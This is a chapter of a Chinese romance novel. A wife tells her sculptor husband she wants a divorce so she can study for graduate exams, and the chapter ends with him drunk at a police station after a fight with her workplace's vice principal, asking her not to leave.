他的天都要塌了,结果当事人是最晚知道这个消息的…
昨天晚上发的帖子,两个人一晚上都干什么了手机也不看,真是气死他了。
但对面的人是老板,他又不能明面上埋怨,只能打碎牙齿活血吞,耐心上交应对方案。
而应对方案是,公开他们的婚姻关系。
但易焯犹豫了,说不行,她会介意。
助理:?
火烧眉毛了,易焯知道这个圈子里名誉是最重要的吗?
现在不公开,一直不作为,等到被人扒出来的那一天更麻烦,说不定会被打上个“婚姻期间不合,著名雕塑家易焯冷血无情”之类的狗血标签,精彩程度不亚于一本古早网文,够他们全体喝几壶了。
老板可以不在乎,但是他不想失业啊。
还没等他用三寸不烂之舌劝阻易焯,易焯就被老婆的一个电话叫了出去,跑的很急,像一阵风,转眼就消失不见了。
......
常絮语的眼泪掉在他外套上,她擦了擦,抱了一会,又与他分开。
“冷不冷?”
他问。
常絮语摇了摇头。
“你怎么知道我在这儿?”
易焯顿了顿,没吭声,末了又慢慢道,猜的。
常絮语才不信。
不过她也不想再跟他纠结什么了。
“下周惊蛰,我们去离婚,”她深吸一口气,笑,“易焯,你不用再对我有那么多秘密了。”
男人看着她,眼底幽暗。
“好,”他答应,“先跟我回家。”
易焯欲伸手拉她,被常絮语躲开了。
余泪挂在眼睫,周围红红的,她抿唇,轻笑着摇了摇头:“我这几天要自己一个人,抱歉。”
男人皱眉,伸在半空的手显得格外多余。
她顿了顿,又说:“这些都是我自己的问题,我知道在这个圈子里,尤其是你,名誉最重要,我不会成为你的污点,如果在这期间真的影响到你,我真的很抱歉,对不起,易焯。”
在她心里,易焯真的是个很好的男人,对她很好,只不过这不是她向往的爱情,他也不会是她的终点。
这一次,她要为自己搏一搏。
“我要考研。”
她想清楚了,当初去应聘的时候,机构负责人说她只是本科,只能从助教做起,虽然一样没有教学经验,可研究生的身份总要比本科少一些不必要的阻挠,尤其是做她这一行的。
没有人想被领导一直PUA,她也不是自讨苦吃,考研对她百利而无一害,这些年她也攒了点钱,等考上了,在规划新的事业。
所以她现在是真的没心情再谈情说爱,尤其是对婚姻。
“当初,因为我妈的压力跟你结婚,真的很对不起,感谢这段时间你对我的照顾,”她想了想,缓声解释,“我这个人确实自私,而且胆子也不够大,虽然不知道你喜欢我什么,但还是很感激你的喜欢,你是个好人,会遇到比我好的人的。”
他也要有真正属于自己的爱情,他们不是一路人。
她早就该认清了。
易焯眯着眼,目光始终停留在她身上,一刻不曾移开。
如鲠在喉,这还是他第一次有这种感觉。
像是有什么重要的东西再也抓不住。
他知道,风到这里就该停下了。
男人忽然笑了一声,嗓音像是一坛酝酿了许多年的酒,慢慢陈述着一些过往尘烟。
“其实当初相亲的事,是我拜托了常总,也就是你姑姑,”他顿了顿,“我的事业有了起色,确保我能给你你想要的,才开口提了这些事,现在看来,是我太幼稚了。”
或许他们之间本来就不该有其他的感情。
易焯往后退了两步,低眸,没在吭声。
他不明白常絮语究竟有没有心,到底对他有没有过一丝一毫的感情。
到了今天,他明白了,答案是没有。
至少,现在看来是这样。
白茫茫的天还亮着,他穿着一身黑色漠然的站在她面前,语气几分哑然和失落,却坦荡。
他收起眼底不经意流露出的脆弱,有些泄气,末了一声不吭,转身离开。
他早就过了可以和一个人纠缠感情不死不休的年纪了,所以这次他选择放手。
宽阔高耸的背影逐渐被拉成一条线。
常絮语吸了吸鼻子,凝着他的背影越来越远,直到在她模糊的视线里化作一个点,最后消失在漫漫长路。
*
到了晚上。
夜幕偶尔闪过几颗星子,常絮语捧着平板在咖啡店里画画,整整待了三个小时。
她又点了块提拉米苏,店员小姐姐端着蛋糕过来,看见她平板上的画,眼睛亮了亮,不由自主夸赞道:“画的真好!”
常絮语在平板上画了一副素描石膏,大卫头像。
闻言,她低头看看画,又看看一旁的店员,反应过来,笑了笑:“谢谢。”
店员小姐姐上好餐,拖着盘子往后靠,边走边回头看她两眼,跟同事小声讨论。
“这会画画的小姑娘就是不一样,一看就是高知家庭出来的,气质谈吐都那么好,说话细声细语的,讨喜。”
“看她身上那身衣服,光毛衣就要好几千块呢,一看就很有钱。”
常絮语一勺一勺挖着蛋糕,小口小口的吃,完全不知道身后的讨论。
吃到一半,手机铃声忽然响了起来,打开一看,是黎萌。
她微微皱了皱眉,划到接听键。
还没等她说话,黎萌就恨不得从手机里钻出来,冲她着急的大喊:“絮语,你快来,有个自称你老公的男人突然冲进来,跟副校长打起来了!”
“嗯?”
等会儿,常絮语将手机移开一些,感觉大脑有一瞬的宕机。
谁跟谁打起来了?
易焯跟...简嘉岳...
“絮语,喂?你在吗?絮语?”那边半天不吭声,黎萌还以为自己白打了个电话,吓得面色发白。
常絮语的思绪被唤了回来。
“啊,我在。”
“总之你快点来一趟机构啊!都报警了,那个自称你老公的叫易焯是吧?他好像还喝酒了,带着一群人,一脱外套,哟哟哟那肌肉,要吓死人了呀!看着挺清瘦,谁知道那么有料...”
“我马上过去。”
黎萌被紧急打断,然后电话就挂了。
常絮语深吸一口气,现在感觉就是半梦醒的状态。
黎萌的形容简直跟当街混混组团一样,还喝酒...这些词汇,她从来没有跟易焯联系在一起过。
无论何时,他给人的印象都不会是“带着一群人喝酒了光膀子打架”的人。
想到这儿,她也不敢再多想了,拎起包就跑。
门上的铃铛叮铃脆响,好一会才恢复随风摆动的频率。
走到半路,黎萌又打来电话,让她不用去机构了
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。直接去警局吧。
常絮语:...
兜兜转转到了警局,常絮语深吸一口气,没想到这辈子第一次进警局是因为这种原因。
双腿像是灌了铅一样,每一步都走的很沉重,外面的天明明很冷,而她却觉得耳尖发红发烫,全身上下燥热的不行。
过了一会。
角落里,某些个身影映入眼帘。
易焯红着脸不知道是喝了多少酒,大呲呲的蹲在一边,周围的空气仿佛都跟着凝滞了几分,身上的戾气大得很,没人敢靠近他。
突然觉得这一幕很熟悉,就好像在哪里经历过,没人敢靠近他,可她迫于压力还是要主动走近他。
常絮语轻叹一声,慢慢走过去。
看见来人,男人掀眼,额角的疤痕异常醒目,如今眼角又多了点淤青,原先满面的阴鸷再见到她的那一刻骤然缩了回去,取而代之的是温和,眸中的光亮乍显,可不过几秒就转瞬即逝了。
至于一旁闹事的人,她看着那些人的脸都很眼熟,全是他手底下的员工。
当初第一个跟她打招呼的人看见常絮语,一个激灵站起来,首当其冲替易焯开脱道:“嫂子,老板这是跟我们喝了点酒才这样的,你被欺负了,是个男的都不能忍住啊...”
她看看他,又看看易焯,随即点点头:“我没说要怪他。”
常絮语蹲在易焯旁边,伸出手轻轻碰了碰他面上的伤,伤的不是很重,只有一点淤青和擦伤,泛着点血珠。
四目相视,她抿抿唇,轻声问:“你干什么呀...疼不疼啊。”
她喃喃,心好像被他的伤口刺了一下。
从包里掏出路上买的碘伏棉签和创口贴,末了拿棉签蘸取碘伏向他的脸靠近。这一刻,她才清醒,他真的带了人打架。
他的眼神自打看见她那一瞬就再也移不开了。
“疼了告诉我噢。”
“嘶——”
“...我还没开始上药呢。”
男人低眸。
她忽然觉得他像个孩子。
易焯一喝酒就上头,无论喝多少都会脸红,一张冷冽的凶巴巴的脸配上这么些红,就像普蓝加深红,越调越黑。
见他阴郁着一张脸,她索性就赶快给他涂完药水,用创口贴封了起来。
“简嘉岳人呢?”她问。
一听到这三个字,尤其是从她嘴里说出来,男人面色更不悦,拧着眉,狭长的眸中射出冷意,眼神像铁钩一样牢牢的咬住她,不肯松懈。
常絮语抿唇,微微皱着眉头又问他一遍。
易焯轻嗤一声,转过头,淡淡道:“我言语激怒他,是他先动的手,监控拍的明明白白。”
“人现在进医院了。”
他面上没什么情绪,冷冷的回复她。
常絮语:!
“进医院了?你,”她往后退了一步,睁大眼睛,“你,你到底用了多大的力气打人啊?”
她一致认为他持重稳妥,是个能靠得住的男人,竟然也会有这样荒唐的一天。
易焯咬着后槽牙,忽然凑过来将她死死摁在怀里。
铺天盖地的酒精气味骤然萦满鼻息。
她愣。
男人的手劲很大,不知道到底是喝了多少酒,烟瘾犯了却又想到她可能会来,一根烟也没敢抽。因为除了酒味,她还闻到了薄荷的清气。
他喜欢吃薄荷糖,身上一般会带着白檀和薄荷的味道,清冽又深沉。
箍着她的那双手暴起青筋,男人眼底猩红,许久闭上眼,哑然——
“我们...能不能不分开。”